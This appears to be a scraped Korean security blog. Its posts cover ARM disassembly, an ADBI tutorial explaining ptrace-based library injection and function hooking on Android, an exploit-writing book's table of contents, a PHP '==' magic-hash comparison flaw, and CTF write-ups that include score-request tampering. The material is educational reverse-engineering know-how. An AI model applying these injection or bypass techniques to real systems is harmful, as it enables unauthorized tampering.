MOV R0, R3 ; file

MOV  R1, #2 ; oflag

BL open

STR R0, [R11,#f]

LDR R0, [R11,#f] ; fd

LDR R3, =(a12345 - 0x869C)

ADD R3, PC, R3 ; "12345\n"

MOV  R1, R3 ; buf

MOV  R2, #6 ; n

BL write

LDR R0, [R11,#f] ; fd

BL close

MOV  R0, #3 ; seconds

BL sleep

B loc_8658

; End of function main


; ---------------------------------------------------------------------------

off_86B8 DCD _GLOBAL_OFFSET_TABLE_ ; DATA XREF: main+Cr

off_86BC DCD __stack_chk_guard_ptr - 0xAFBC ; DATA XREF: main+14r

off_86C0 DCD aTest_txt - 0x8680 ; DATA XREF: main+60r

; "test.txt"

off_86C4 DCD a12345 - 0x869C ; DATA XREF: main+7Cr

; "12345\n"




    • IDA Pro 디스어셈블링(Thumb 모드로 컴파일)
     





 

   

'Linux System Hacking' 카테고리의 다른 글

ARM-Thumb 모드 컴파일 옵션  (0) 2016.02.23
LD_PRELOAD 를 이용한 Hooking  (0) 2014.05.03






DBI on Android - ADBI(Android Dynamic Binary Instrumentation)







  • DBI(Dynamic Binary Instrumentation)
   동적으로 바이너리에 코드를 삽입하여 실행하는 것을 말한다. 이를 통해 소스코드를 수정하지 않고도 API Trace, 인자값 조작 및 리턴값 조작,
    이외에도 다양한 동적 조작을 할 수 있다. DBI를 구현하는 방법은 여러가지가 있겠지만 내가 알고 있는 방법은(혹은 본 것은) 후킹과 에뮬레이션이다.
    후킹이든 에뮬레이션이든 조사 혹은 조작하길 바라는 시점에서 코드 흐름을 변경하여 원하는 조사 혹은 조작을 한 뒤 원래 코드 흐름으로 돌려주는 것이다.
    리버싱을 할 때 쉽게 분석을 할 수 있도록 도와주며, 취약점 분석 측면에서도 큰 도움을 줄 수 있다. 이번 포스팅에서는 분석(Trace)를 위주로 할 것이다.
  


  • ADBI(the Android Dynamic Binary Instrumentation toolkit)


     안드로이드 환경에서 DBI를 하기 위한 툴킷으로, crmulliner 라는 사람이 만들었으며 github 에 공개해 놓았다. 코드를 살펴보니, 

     후킹을 통해 구현해 놓았고, 예제 소스를 보고 직접 라이브러리(.so)를 만들어서 타겟 프로그램에 인젝션 하는 방식으로 동작한다. 

     조사 혹은 조작할 함수의 앞 뒤에서 직접 C언어로 프로그래밍을 하면 된다. 후킹 방식은 대상 함수의 첫줄을 변조하여 후킹함수로

     점프하여 조작을 수행하는 방식으로 되어있다. 사용자는 후킹함수 내에서 조작을 하거나 값을 조사한 뒤 대상 원본 함수를 후킹할

     수도, 아예 호출을 하지 않고 임의의 값을 리턴할 수도 있다. 





 1. 설치


  adbi 를 사용하기 위해서는 먼저 ndk 가 필요하다. ARM 크로스 컴파일 시 ndk 를 이용하기 때문이다.



1) ndk 설치


  아래 다운로드 페이지에서 자신의 OS 환경에 맞는 버전을 다운로드 하도록 하자. 


  http://developer.android.com/intl/ko/ndk/downloads/index.html

  

 


    설명에도 나와있듯이 다운로드한 파일에 실행권한을 주고 실행만 해 주면 설치는 끝이 난다.






2) adbi 설치


   # git clone https://github.com/crmulliner/adbi


  



 


2. 예제 소스코드 분석


  본격적으로 adbi 를 사용해보기 전에 먼저 소스코드를 분석해 보면서 원리를 파악해 보도록 하자.



hyunmini$ tree ./

./

├── README.md

├── build.sh                               // 컴파일 스크립트

├── clean.sh                               // 초기화(컴파일 이전으로 복구)

├── hijack

│   ├── hijack.c                         // 라이브러리 인젝션 소스

│   └── jni

│       └── Android.mk

└── instruments

    ├── base

    │   ├── base.c

    │   ├── base.h

    │   ├── hook.c                     // 후킹 소스

    │   ├── hook.h

    │   ├── jni

    │   │   ├── Android.mk

    │   │   └── Application.mk

    │   ├── util.c

    │   └── util.h

    └── example

        ├── epoll.c                          // instrument 예제 소스

        ├── epoll_arm.c                  // instrument 예제 소스

        └── jni

            └── Android.mk




  

1) hijack.c   -  라이브러리 인젝션 소스



윈도우 운영체제에서는 DLL 인젝션을 통해 주로 타 프로세스를 조작했는데, 마찬가지 개념으로 *nix 계열 운영체제에서는 so 인젝션을 통해 

타 프로세스를 조작할 수 있다. hijack.c 소스코드는 바로 이러한 라이브러리 인젝션을 수행해 주는 코드이다.


라이브러리 인젝션을 위해서 hijack.c 에서는 아래와 같은 방법을 사용한다. 윈도우 DLL 인젝션과 거의 동일하다.



    (1)  PTRACE 를 이용하여 현재 컨텍스트(레지스트리 등의 정보)를 구한다. 이후 대부분의 과정에서 PTRACE API 를 이용한다.


    (2)  인젝션 하려는 라이브러리 이름을 스택 메모리에 쓴다.


    (3)  쉘코드(dlopen() 함수를 실행하는)를 스택메모리에 쓴다.


    (4)  mprotect() 를 호출하여 스택에 실행권한을 부여한다.


    (5)  pc 레지스터를  스택의 쉘코드의 주소로 변경하여 dlopen() 함수를 강제로 호출한다. 


    (6)  라이브러리가 대상 프로세스에 강제로 로드되며 후킹 코드가 실행된다.




코드 중 중요한 부분만 살펴 보도록 하자.  조금 내려가다 보면 쉘코드가 보인다. 단순히 레지스터에 스택의 값을 넣어 주는 역할만 한다.



[그림] dlopen 을 실행해 주는 간단한 쉘코드



nop 로 비어있는 부분에는 호출에 필요한 인자값에 맞춰 각각의 값을 넣어주게 된다. 이때도 PTRACE 를 이용하게 된다. 


아래로 조금만 더 내려가 보면 메인함수가 시작되고, 아래와 같이 dlopen() 함수의 주소를 구하는 부분이 나온다.



[그림] 동적으로 dlopen 주소 얻기


 linker 프로세스에서 


(작성중)











root@zerofltektt:/sdcard/test # ./hijack                                       

error: only position independent executables (PIE) are supported.


안드로이드에서(아마도 롤리팝 이상인 경우 ELF로더가 PIE를 확인하는 듯) 위와 같이 PIE로 컴파일 되지 않으면 실행되지 않는다는 에러 메시지가 발생한 경우


Android.mk 파일에 아래와 같이 두줄을 간단히 추가해주면 해결된다.


LOCAL_CFLAGS += -fPIE

LOCAL_LDFLAGS += -fPIE -pie


# vi Android.mk

=============================================

  1 # Copyright (C) 2009 The Android Open Source Project

  2 #

  3 # Licensed under the Apache License, Version 2.0 (the "License");

  4 # you may not use this file except in compliance with the License.

  5 # You may obtain a copy of the License at

  6 #

  7 #      http://www.apache.org/licenses/LICENSE-2.0

  8 #

  9 # Unless required by applicable law or agreed to in writing, software

 10 # distributed under the License is distributed on an "AS IS" BASIS,

 11 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

 12 # See the License for the specific language governing permissions and

 13 # limitations under the License.

 14 #

 15 LOCAL_PATH := $(call my-dir)

 16 

 17 include $(CLEAR_VARS)

 18 LOCAL_MODULE := base

 19 LOCAL_SRC_FILES := ../../base/obj/local/armeabi/libbase.a

 20 LOCAL_EXPORT_C_INCLUDES := ../../base

 21 include $(PREBUILT_STATIC_LIBRARY)

 22 

 23 

 24 include $(CLEAR_VARS)

 25 LOCAL_MODULE    := libexample

 26 LOCAL_SRC_FILES := ../epoll.c  ../epoll_arm.c.arm

 27 LOCAL_CFLAGS := -g

 28 LOCAL_SHARED_LIBRARIES := dl

 29 LOCAL_STATIC_LIBRARIES := base

 30 LOCAL_CFLAGS += -fPIE

 31 LOCAL_LDFLAGS += -fPIE -pie

 32 

 33 include $(BUILD_SHARED_LIBRARY)


# make


해결~


까페에는 소식을 자주 올렸었는데...블로그에도 공개할 때가 된 듯 하다.


시스템 해킹이 진입 장벽이 높다고 느껴서(실제론 그렇게 높지 않지만)  공부해볼 시도조차 못했던 경우가 많았을 것이다.


혹은, 기초적인 시스템 해킹 공부는 했으나 중급 이상으로 넘어가기 위해 어떤 공부를 해야 할지 가이드가 부족한


경우도 있었을 것이다. 이러한 연유로, 시스템 해킹 초-중급자를 위한 집필을 마음먹고 시작한지 어언 1년..


드디어 윈도우 시스템 해킹 서적이 드디어 인쇄작업에 들어갔다!!







=================================================================================================

I. 개요
1. PC내부구조
1.1 컴퓨어의 언어
1.2 CPU와 레지스터
1.3 메모리구조
1.4 스택과 힙
1.5 함수 호출과 리턴
2. 어셈블리어 기본
2.1 어셈블리어 기초
2.2 어셈블리어 실습
3. 디스어셈블러와 디버거
3.1 디스어셈블러
3.2 디버거
4. 윈도우 실행파일 구조
4.1 PE파일 
4.2 DOS Header 
4.3 PE Header
4.4 Image Optional Header
4.5 Section Header
 
II. 취약점과 공격
1. 소프트웨어 취약점
1.1 취약점
1.2 취약점의 발견과 패치
2. 취약점분류
2.1 Memory Corruption 취약점분류
3. Exploit 분류
3.1 파일포맷 Exploit 
3.2 리모트(원격) Exploit
 
III. 쉘코드 원리와 작성
1. 쉘코드작성
2. 널바이트 제거
3. Universial 쉘코드
4. 포트바인딩쉘코드작성
5. 리버스 쉘코드작성
6. 쉘코드 인코딩
 
IV. Exploit 작성
1. 스택버퍼오버플로우 Exploit
1.1 Direct EIP Overwrite
1.2 Trampoline
1.3 SEH Overwrite
2. 힙 버퍼오버플로우 Exploit
2.1 함수포인터 Overwrite
2.2 Vtable Overwrite
3. 정수오버플로우 Exploit
3.1. 정수 오버플로우
3.2. 정수 오버플로우 Exploit 
4. Use-After-Free Exploit
4.1. Use-After-Free
4.2. HeapSpray
4.3. Use-After-Free Exploit
5. Exploit 작성 자동화
5.1 Metasploit 모듈 작성
5.2 mona 를 이용한 Exploit 작성
 
V. 방어와 우회기법
1. SafeSEH 기법
1.1 SafeSEH
1.2. Non SafeSEH 모듈 이용
1.3. 모듈이 로드되지 않은 메모리 영역 이용 
2. DEP 기법
2.1. DEP
2.2. RTL
2.3. Chaining RTL
2.4. ROP
2.5. ROP 자동화
3. ASLR 기법
3.1. ASLR 소개
3.2. BruteForce
3.3. Non ASLR 모듈 우회
3.4. 부분 Overwrite 
3.5. Info Leak
 
VI. 버그헌팅
1. 기본방법론
1.1 블랙박스 VS 화이트박스
1.2 버그 식별 및 평가
2. 소스코드 분석
2.1 소스코드 리뷰
2.2 소스코드 점검툴
3. 퍼징(Fuzzing)
3.1 Dumb 퍼징
3.2 Smart 퍼징
3.3 파일 퍼저 구현
4. 리버싱(Reversing)
4.1 고급 디버깅 기술
4.2 리버싱을 이용한 버그 헌팅
4.3 바이너리 디핑


=============================================================================
  내용 발췌
=============================================================================

# 바이너리 디핑을 이용한 버그헌팅














# IDA Python 을 이용한 취약점 분석 자동화





# 파일 포맷  퍼징 툴 구현




# 소스코드 오디팅




# Universal 쉘코드






PHP "==" 연산자 취약점

2016. 1. 12. 01:40





문제 풀다 md5 충돌(?) 을 가장한 특이한 문제를 보게 되어 정리해 둔다.


이 문제는 md5 collision 이 발생하는 것이 아닌, php 비교문("==") 의 취약점이라고 볼 수 있다.


"==" 비교 연산자와 "===" 의 연산자는 차이가 있는데, "==" 를 사용하면 아래와 같이 의도하지 않은 엉뚱한 결과가 나온다.


root@kali:~/Desktop/# cat test.php

<?

$v1 = "0e1208123";

$v2 = "0e0956871";

if (($v1) == (($v2))){ echo "equal\n"; }

?>


두개의 문자열이 분명 다름에도 불구하고 아래와 같이 같다고 나온다.


root@kali:~/Desktop/# php test.php

equal



자세한 이유는 여기저기 많이 설명되어 있었다.


http://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo


요약하면 "==" 는 문자가 모두 숫자로 이루어진 경우, 숫자로 변환하여 비교를 하게 되는데, 


위와 같은 경우 둘다 0 으로 변환되어 0=0 이 되어 true 가 된다는 것.


wargame.kr - Easy CrackMe(500p)

2016. 1. 11. 01:27




이번 문제는 리버싱 문제이다. 쉽다고 써있는걸 보니 쉬운가보다.




해당 바이너리는 별 특징 없는 단순한 MFC바이너리이다. MFC 바이너리는 이벤트드리븐 


방식으로 동작하므로 원하는 버튼에 연결된 함수를 찾아야 한다. 


리소스 해커를 통해 버튼의 리소스 번호를 찾은 뒤 메시지 구조체를 찾으면 쉽게 찾을 수 있다. 



 struct AFX_MSGMAP_ENTRY {

   uint  nMessage;

   uint  nCode;

   uint  nID;            // 리소스ID

   uint  nLastID;       // 리소스ID

   uint_PTR nSig;

   uint_PMSG pfn;         // 핸들러 함수 포인터

 }








주소는 0xf16c0 임을 알 수 있다.



핸들러 함수로 가보면 3가지 정도의 조건문이 나온다.



 _my_b 가 포함되어 있는지 검사



wtoi() 함수 실행 결과가 1114 인지 검사



birth 문자열이 들어있는지 검사



이 세개의 조건이 만족해야만 정답을 전송해 주는 듯 하다. 


IDA로 보아도 마찬가지로 3번의 조건 검사가 존재함을 알 수 있다.



조건에 맞춰서 전송하면 끝~



'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - fly to the moon(500p)  (0) 2016.01.07
wargame.kr - login filtering(450)  (0) 2016.01.06



 이번 문제는 자바스크립트 레이싱? 게임이다. 좌우로 움직이며 31337점까지 올리면 클리어되는 문제인데,


소스 자바스크립트가 난독화 되어 있다. 사실 나는 자바스크립트를 분석하는 정공법이 아니라 아주 쉽게 


편법으로 풀었는데(패킷을 살펴보고 패킷조작) 그래도 푼 뒤에 상세히 분석을 해 보았다.






위와 같이 난독화 되어 있으며, eval로 난독화 소스를 실행시켜 주고 있다. 


주로 악성코드에서 많이 보이는 패턴이다.


어쨌든 이 상태로는 알아볼수가 없기 때문에 난독화 소스부터 deofuscation 해주어야 한다.


간단히  eval 대신 document.write 로 찍어보았다.  




 deofuscation 은 되었으나 여전히 보기 어렵다. 


jsbeautifier.org 를 통해 보기 좋게 indent를 조정해서 보자.



이제 조금 알아 볼 수 있게 생겼다. 코드를 살짝 보면 게임을 시작해서 좌우측벽을 움직이고 점수를 


업데이트 하는 소스코드가 보인다. 첫번째 줄에는 출력할 메시지, 소스코드 등이 섞여 있으므로 


첫번째 헥스코드를 보기 좋게 다시 찍어보자. 파이썬을 이용했다.




키워드를 보니 어느정도 감이 온다. post 방식으로 ajax를 이용하여 점수를 보내는 것이라 


예측이 가능하며, token.php 에서 토큰을 받아온 후 "high-scores.php?token=토큰&score=점수" 


와 같은 형식으로 점수가 날아갈 것이다. 실제로 풀이는 이 점수를 바로 조작하여 보내서 클리어 했다. 


하지만 조금 더 소스코드를 분석해 보도록 하자.




아래쪽을 살펴보면 전형적인 ajax 코드가 보인다. 첫번째 줄을 이용해서 난독화를 해 두었지만 


위의 문자열로 치환한 것을 살펴보면 이 부분이 바로 점수를 전송하는 부분임을 알 수 있다.  




함수를 조금 더 쫓아가 보면 score() 함수는 0x8618x6 변수값을 가져오는 것을 확인할 수 있다. 


결론. 0x8618x6 을 31337 로 미리 변조하거나, 


패킷이 전송될 때 score변수의 값을 31337 로 변조해주면 된다.  










'wargame > wargame.kr' 카테고리의 다른 글

wargame.kr - Crypto Crackme Basic  (0) 2017.10.24
wargame.kr - web chatting (650p)  (0) 2017.09.13
wargame.kr - Simpleboard(600)  (0) 2017.09.12
wargame.kr - Easy CrackMe(500p)  (1) 2016.01.11
wargame.kr - login filtering(450)  (0) 2016.01.06


First-chance Exception / Second(last)-chance Exception



 프로그램에서 예외가 발생했을 때 디버거에 붙인 상태에서 보면 First chance Exception 이 발생하고, 

그 상태에서 한번 더 진행을 하면 Second chance Exception 이 발생한다. 디버깅 중인 상태에서는 

디버거가 예외에 대한 감지를 먼저 하게 되는데, 이로 인해 프로그램이 아닌 디버거가 발견한 예외 상태를 

First chance Exception 이라 한다. 

 간혹 퍼징을 하다 First chance Exception 이 발생한 것을 보고 디버거 없이 해당 파일을 실행해보면 

실제로는 예외가 발생하지 않는  경우가 있는데, 이러한 경우는 Second chance Exception 이 발생했을 때 

프로그램이 예외 처리(SEH)를 수행하고 있다는 뜻이다. 


 즉 퍼징을 할 때에도 디버깅 상태이므로 First chance Exception 은 넘어가는 것이 좋다는 것. 

조금 더 자세한 사례를 알아볼 필요가 있을 듯 하다.




+ Recent posts